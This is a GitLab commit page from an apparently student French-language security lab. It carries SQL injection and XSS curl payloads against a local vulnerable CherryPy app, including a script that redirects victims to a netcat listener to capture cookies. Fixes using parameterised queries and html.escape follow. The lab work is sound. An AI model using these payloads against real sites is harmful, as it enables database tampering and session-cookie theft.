Skip to content
Snippets Groups Projects
Commit 7dd568f7 authored by Olive Benjamin's avatar Olive Benjamin
Browse files

Questions 4 5 6 (participation des 2 Bens)

parent 63c98d36
No related branches found
No related tags found
No related merge requests found
figures/boite_dialogue_hello.png

13.2 KiB

figures/cookies_recuperes.png

59 KiB

figures/faille_XSS.png

12.3 KiB

figures/faille_XSS_corrigee.png

4.92 KiB

figures/faille_XSS_non_corrige.png

4.16 KiB

figures/toto_tata_echec.png

6.05 KiB

......@@ -102,7 +102,7 @@ curl 'http://localhost:8080/' \
curl 'http://localhost:8080/' \
--data-raw "chaine=INSERT INTO chaines (txt,who) VALUES(\'ma super injection\',\'anonyme malveillant\');','tata') -- &submit=OK"
--data-raw 'chaine=INSERT INTO chaines (txt,who) VALUES(\"ma super injection\",\"anonyme malveillant\");","tata") -- &submit=OK'
......@@ -130,18 +130,83 @@ La sous-requête en question pourrait par exemple être la sélection des inform
## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de
* Rendre un fichier server_correct.py avec la correction de la faille de
sécurité. Expliquez comment vous avez corrigé la faille.
Afin de comprendre comment nous avons corrigé cette faille, voici un détail des fonctionnements de chaque requête. Voici la requête initiale :
requete = "INSERT INTO chaines (txt,who) VALUES('" + post["chaine"] + "','" + cherrypy.request.remote.ip + "')"
Dans le premier Code : La requête SQL est construite en concaténant directement les valeurs fournies par l'utilisateur. Cela rend l'application vulnérable aux injections SQL.
En effet, comme a la question précédente, un attaquant peut fermer la chaîne SQL actuelle et ajouter ses propres commandes SQL par la suite. C'est ce qui permettait à la question précédente la récupération d'informations d'une autre table.
Deuxième Code :
requete = """INSERT INTO chaines (txt,who) VALUES(%s,%s)"""
info = [post["chaine"], cherrypy.request.remote.ip]
cursor.execute(requete, info)
La requête SQL utilise des requêtes préparées (prepared=True) avec des paramètres. Cela permet d'éviter les injections de requêtes décrites précédemment :
Le fait d'avoir d'avoir la requête préparée déclarée en amont des variables, empêchera un utilisateur malveillant d'imbriquer des requêtes sous couvert de chaines de caractères.
La chaine de caractère entrée par l'utilisateur ne pourra pas être lue comme commande SQL par le serveur.
Une fois la correction appliquée, on ne peut plus réaliser l'injection précédente puique toto et tata deviennent la chaine affichée :
<img src="figures/toto_tata_echec.png">
## Question 5
Dans serveur.py, nous pouvons trouver une faille XSS :
<img src="figures/faille_XSS.png">
Dans cette partie du code qui permet d'afficher l'ensemble des chaines de caractères de la base de données, on peut remplacer la variable "s" par une balise \<script\>
qui permet d'exécuter n'importe quel code javascript. Utilisons cette faille.
* Commande curl pour afficher une fenetre de dialog.
curl 'http://localhost:8080/' \
--data-raw 'chaine=<script>alert("Hello! I am under the water! Please help me!! I am drowning, HOoouuuuu...")</script>&submit=OK'
<img src="figures/boite_dialogue_hello.png">
* Commande curl pour lire les cookies
curl 'http://localhost:8080/' \
--data-raw 'chaine=<script type="text/javascript">document.location="http://127.0.0.1:5000/"</script> -- &submit=OK'
On peut alors récupérer ces informations grâce à la commande :
nc -l -p 5000
On a redirigé la victime vers le port 5000, voici les informations que nous avons par exemple récupérés en écoutant ce port:
<img src="figures/cookies_recuperes.png">
## Question 6
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
Voici le code non corrigé :
<img src="figures/faille_XSS_non_corrige.png">
le problème de cette implémentation est qu'elle n'empêche d'exécuter des scripts html, et donc java via la balise script.
Ceci peut être bloqué :
<img src="figures/faille_XSS_corrigee.png">
Cette correction présente l'ajout de la fonction html.escape qui remplace les caractères spéciaux par leurs entités HTML.
Cela permet de nous assurer que les données insérées dans le HTML sont traitées comme du texte brut et non comme du code exécutable.
On peut exécuter les commandes curl de la question 5. On constate bien que nous ne sommes pas redirigés vers le port 5000 et la boite de dialgoue n'apparait pas.
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor(prepared = True)
if cherrypy.request.method == "POST":
requete = """INSERT INTO chaines (txt,who) VALUES(%s,%s)"""
info = [html.escape(post["chaine"]),cherrypy.request.remote.ip]
cursor.execute(requete,info)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment